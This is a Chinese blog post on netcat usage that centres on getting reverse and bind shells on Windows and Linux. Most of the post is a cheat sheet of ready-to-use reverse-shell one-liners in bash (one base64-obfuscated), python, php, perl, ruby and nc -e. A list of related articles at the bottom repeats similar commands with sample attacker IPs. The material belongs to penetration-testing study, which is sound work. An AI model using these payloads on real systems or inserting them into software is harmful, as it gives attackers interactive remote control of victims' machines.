Windows/Linux 下nc 反弹shell

反弹shell初识 反弹shell的指令与演示 阅读详情

Windows/Linux 下nc 反弹shell

 高二那年班主任对我们说:其实我并不反对你们谈恋爱,
	                 只是你们记得要找一个有担当的,
	                     那些一看见老师就松开你手的,要来有什么用?

NC概述:

  • nc又名netcat,一个简单而有用的工具,可以干很多事情,但是不可以吃。
  • 何为反弹shell?为什么不反弹攻击?
    相信你有一天可以直接把所有攻击反弹回去的.

常用命令

banner获取

nc -nv ip port

连接远程主机

nc -nvv ip port

端口扫描

nc -v ip port            //指定端口
nc -v -z  ip 1-1555         //指定端口段

文件传输

nc  -lvp  8888 < test.txt  服务端
nc -nv 服务端ip 8888 > test.txt 客户端

获取shell

正向shell:客户端想要获取服务器shell

	客户端监听
nc -lvp 8888 -e /bin/sh 
nc -lvp 8888 -e c:\windows\system32\cmd.exe 
	服务端反弹
	nc 服务端ip 8888

反向shell:服务端想要获取客户端器shell

客户端监听
nc -lvp 8888 
服务端反弹
nc ip 8888 -e /bin/sh 
nc ip 8888 -e c:\windows\system32\cmd.exe 

没有nc是,由于各种环境不同,可以结合天时地利人和。

  • Bash
bash -i >& /dev/tcp/ip/port 0>&1
base64版 
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}'
  • python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
  • php
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
  • perl
Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • ruby
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • nc反弹nc
nc -e /bin/bash ip port

成功反弹shll
在这里插入图片描述

余生很长,请多指教。
在这里插入图片描述

反弹shell的方法和场景 nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器nc64.exe -lvvp 1111 -e /bin/bash linux机器。 阅读详情

相关推荐

内网渗透:nc反弹shell总结

1、实验环境 Kali:192.168.32.132 //模拟靶机 Windows:192.168.32.1 //模拟公网vps 2、若靶机上存在nc,获取反向shell: vps攻击机:nc -lvp 9999 // 监听9999端口 靶机:nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口 nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows 3、若

安全大白 6789

nc--反弹shell

nc--反弹shell,小实验

wzhua的博客 3527

别再只会用nc聊天了!实战演示:用Netcat在Windows/Linux间传文件、反弹Shell(附避坑点)

本文深入探讨了Netcat(nc)的高级应用,从基础聊天功能扩展到跨平台文件传输和远程系统管理。通过实战演示WindowsLinux间的文件传输、反弹Shell等技巧,并附有常见问题解决方案和安全建议,帮助IT专业人员充分利用这款'网络瑞士军刀'在特殊环境中的价值。

weixin_30439067的博客 340

NC反弹shell

c 指定连接后要执行的shell命令-e 指定连接后要执行的文件名-l 监听模式-p 设置本地使用的通信端口-u 使用UDP传输协议,默认是TCP-v 显示命令执行过程,使用-vv显示更详细信息。

Palpitate_LL的博客 1405

别再只会用nc聊天了!实战演示:用Netcat在Windows/Linux间传文件、反弹Shell(附下载与避坑点)

本文深入探讨Netcat在跨系统文件传输和安全运维中的高级应用,包括Windows/Linux间的文件传输、反弹Shell技巧及常见问题解决方案。通过实战演示和详细避坑指南,帮助用户高效利用Netcat进行网络代理和穿透操作,提升工作效率和安全性。

weixin_30736301的博客 342

别再只会用nc聊天了!实战演示:用Netcat在Windows/Linux间传文件、反弹Shell(附下载)

本文深入探讨Netcat(nc)在跨平台文件传输、网络诊断和安全运维中的高级应用,包括Windows/Linux间文件传输、反弹Shell等实战技巧。通过详细命令示例和优化方案,帮助读者突破传统聊天功能认知,掌握这款网络瑞士军刀的多维应用场景。

weixin_30387423的博客 398

msf反弹php shell,反弹shell总结

1.bash反弹bash -i >& /dev/tcp/ip_address/port 0>&12.nc反弹nc -e /bin/sh 192.168.2.130 44443.pythonimport socket,subprocess,oss =socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(( "1...

weixin_42502419的博客 651

php大马如何使用nc反弹提权,使用NC反弹Shell

今日中午有某牛牛问我如何使用NC反弹shell当时真是冷汗直冒!哎,郁闷,正好此时有空就写出来供某牛牛和小菜们学习一下!使用NC反弹Shell在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。在Windows反弹CmdShell时,首先...

weixin_39913628的博客 468

NC / Netcat - 反弹Shell

原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口 roo...

dieman0446的博客 337

渗透测试实战:反弹Shell原理、命令与TTY优化全解析

在网络攻防与渗透测试领域,远程命令执行是获取系统控制权的关键技术。其核心原理在于通过网络协议,将目标主机的Shell会话(命令行接口)重定向到攻击者控制的机器上,从而实现远程交互式控制。这项技术的核心价值在于能够绕过严格的防火墙策略,特别是当目标服务器仅允许出站流量时,传统的正向连接往往失效,而诱导目标主动发起的“反弹”连接则成为突破口。从应用场景来看,它不仅是Web漏洞利用后的权限维持起点,更是内网渗透、横向移动和搭建持久化通道的基石。本文聚焦于**反弹Shell**这一实战技术,深入剖析其背后的**文件

chuannaoxuan4674的博客 401

27种反弹Shell实战指南:从原理到应用场景全面解析

在网络安全领域,进程间通信(IPC)和输入输出重定向是操作系统的基础概念,它们允许不同进程之间交换数据。当这些技术通过网络套接字(Socket)延伸时,便形成了远程命令执行的核心机制。反弹Shell正是利用这一原理,通过重定向Shell的标准输入、输出和错误流到网络连接,实现远程控制。其技术价值在于突破网络隔离限制,在防火墙仅允许出站流量的环境中建立交互式会话。在渗透测试和红队演练等应用场景中,掌握多种反弹Shell方法至关重要,因为实战环境千变万化,可能面临工具缺失、协议过滤或Shell环境受限等挑战。例

dbp5156的博客 412

WSL2与VMware构建攻防沙盒:反弹Shell与OOB数据通道实战解析

在网络安全与渗透测试领域,理解网络通信原理是掌握攻防技术的基础。正向连接与反向连接是远程访问的核心概念,正向连接遵循传统的客户端-服务器模型,而反向连接则通过让目标主机主动连接攻击者来规避防火墙限制,其技术价值在于能够有效穿透网络边界防御。反弹Shell作为实现反向连接的关键技术,广泛应用于权限获取与维持。在特定受限环境中,当传统双向通信受阻时,带外(OOB)数据通道技术应运而生,它利用DNS、HTTP等允许的协议,将数据封装在正常请求中外带传输,常用于盲注漏洞利用和数据渗出。本文聚焦于一个由WSL2 Ka

weixin_30321709的博客 517

NC反弹shell的几种方法

假如ubuntu、CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu、CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1:bash

qq_59350385的博客 1万+

浅谈反弹shell

反弹shell

weixin_53284312的博客 2834

反弹shell的方式——之NC反弹shell

反弹shell是指在攻击机监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的shell。通常在目标网络有防火墙或者其他因素限制,导致无法持续控制目标,或者执行命令受阻等情况时需要进行反弹shell

aihua002的博客 1070

利用NC反弹shell

正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。举例:假设我们攻击了一台主机,打开了该主机的一个端口,攻击者在自己的主机上去连接目标机器(目标ip:目标机器端口),这是比较常规的方式,叫做正向连接。4.对于病毒、木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是最好的办法。2.目标主机的ip是动态改变的,不能持续控制。

Chales123的博客 733

[保姆级教程]-通过NC反弹shell实战

环境工具步骤。

qq_43681532的博客 650

linux反弹shell简单使用

nc -e /bin/bash [靶机ip] [靶机监听端口]反弹成功后需要将反弹shell升级为交互shellnc -lvvp [任意未占用的端口号]一、反弹shellNC正向反弹)2、攻击机将shell弹到靶机上。1、靶机开启监听端口。

2301_78006725的博客 1146
上一篇: HTTP响应头拆分攻击(又名曰CRLF注入)
下一篇: 内网渗透之常见隧道转发划水以至于溺水技术。
SoulCat.
博客等级 码龄16年 206粉丝 45原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值